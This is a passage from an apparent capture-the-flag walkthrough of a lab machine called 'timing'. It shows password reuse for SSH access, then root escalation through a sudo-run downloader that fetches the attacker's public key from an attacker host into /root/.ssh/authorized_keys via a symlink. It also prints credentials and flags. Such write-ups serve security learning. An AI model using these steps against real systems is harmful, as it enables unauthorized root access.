+$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', 'S3cr3t_unGu3ss4bl3_p422w0Rd');
Nice, we have another password. Let’s try accessing as aaron
via SSH:
$ ssh aaron@10.10.11.135
aaron@10.10.11.135's password:
aaron@timing:~$ cat user.txt
19651c57fd7a5d96ab331ed4a8d40602
There it is! We’ve got access to the machine, finally.
Privilege escalation
This user is able to run /usr/bin/netutils
as root
using sudo
:
aaron@timing:~$ sudo -l
Matching Defaults entries for aaron on timing:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User aaron may run the following commands on timing:
(ALL) NOPASSWD: /usr/bin/netutils
It is a Bash script that uses a JAR file:
/usr/bin/netutils: Bourne-Again shell script, ASCII text executable
aaron@timing:~$ cat /usr/bin/netutils
#! /bin/bash
java -jar /root/netutils.jar
Although java
is not called using an absolute path, it is not vulnerable to PATH
hijacking because there is a secure_path
option set in sudo
configuration.
We can’t access the JAR file:
aaron@timing:~$ ls -la /root/netutils.jar
ls: cannot access '/root/netutils.jar': Permission denied
So we will need to perform a dynamic analysis and guess what it does:
aaron@timing:~$ sudo /usr/bin/netutils
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >>
Let’s try HTTP and listen with nc
:
aaron@timing:~$ sudo /usr/bin/netutils
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> 1
Enter Url: http://10.10.17.44
Initializing download: http://10.10.17.44
Connection gone.
$ nc -nlvp 80
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.11.135.
Ncat: Connection from 10.10.11.135:35202.
GET / HTTP/1.0
Host: 10.10.17.44
Accept: */*
Range: bytes=1-
User-Agent: Axel/2.16.1 (Linux)
^C
Interesting, it is using axel
behind the hoods, which is a command line file downloader. To see what it does, I’ll start anocher SSH session and run a Python web server locally:
aaron@timing:~$ sudo /usr/bin/netutils
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> 1
Enter Url: http://127.0.0.1:8000/user.txt
Initializing download: http://127.0.0.1:8000/user.txt
File size: 33 bytes
Opening output file user.txt.0
Server unsupported, starting from scratch with one connection.
Starting download
Downloaded 33 byte in 0 seconds. (0.32 KB/s)
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> 2
aaron@timing:~$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
127.0.0.1 - - [] "GET /user.txt HTTP/1.0" 200 -
127.0.0.1 - - [] "GET /user.txt HTTP/1.0" 200 -
^C
Keyboard interrupt received, exiting.
aaron@timing:~$ ls -la
total 40
drwxr-x--x 5 aaron aaron 4096 Jun 1 22:43 .
drwxr-xr-x 3 root root 4096 Dec 2 09:55 ..
lrwxrwxrwx 1 root root 9 Oct 5 2021 .bash_history -> /dev/null
-rw-r--r-- 1 aaron aaron 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 aaron aaron 3771 Apr 4 2018 .bashrc
drwx------ 2 aaron aaron 4096 Nov 29 2021 .cache
drwx------ 3 aaron aaron 4096 Nov 29 2021 .gnupg
drwxrwxr-x 3 aaron aaron 4096 Nov 29 2021 .local
-rw-r--r-- 1 aaron aaron 807 Apr 4 2018 .profile
-rw-r----- 1 root aaron 33 Jun 1 22:39 user.txt
-rw-r--r-- 1 root root 33 Jun 1 22:43 user.txt.0
lrwxrwxrwx 1 root root 9 Oct 5 2021 .viminfo -> /dev/null
aaron@timing:~$ cat user.txt.0
19651c57fd7a5d96ab331ed4a8d40602
aaron@timing:~$ rm user.txt.0
rm: remove write-protected regular file 'user.txt.0'? y
So the Java program downloaded user.txt
and stored it as user.txt.0
(as root
).
The idea here is that we have a way to write files as root
. However, if the file already exists, then it will be written to the same filename .0
. So at first glance, we can’t use a symbolic link that points to /root/.ssh/authorized_keys
because the file would exist at the time the Java program downloads the public SSH key. But the symbolic link is not treated as an existing file, because /root/.ssh/authorized_keys
does not exist by default.
We can create the symbolic link with this command:
aaron@timing:~$ ln -s /root/.ssh/authorized_keys ~/id_rsa.pub
Then, start a Python web server in the attacker machine and expose id_rsa.pub
(I will reuse the one I generated before):
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
Finally request the public key with /usr/bin/netutils
:
aaron@timing:~$ sudo /usr/bin/netutils
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> 1
Enter Url: http://10.10.17.44/id_rsa.pub
Initializing download: http://10.10.17.44/id_rsa.pub
File size: 575 bytes
Opening output file id_rsa.pub
Server unsupported, starting from scratch with one connection.
Starting download
Downloaded 575 byte in 0 seconds. (2.80 KB/s)
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.10.11.135 - - [] "GET /index.php HTTP/1.0" 200 -
::ffff:10.10.11.135 - - [] "GET /index.php HTTP/1.0" 200 -
^C
Keyboard interrupt received, exiting.
And then we can access as root
with the private key:
$ ssh -i id_rsa root@10.10.11.135
root@timing:~# cat root.txt
1c40aa67ba2b39849421c84c0253cde4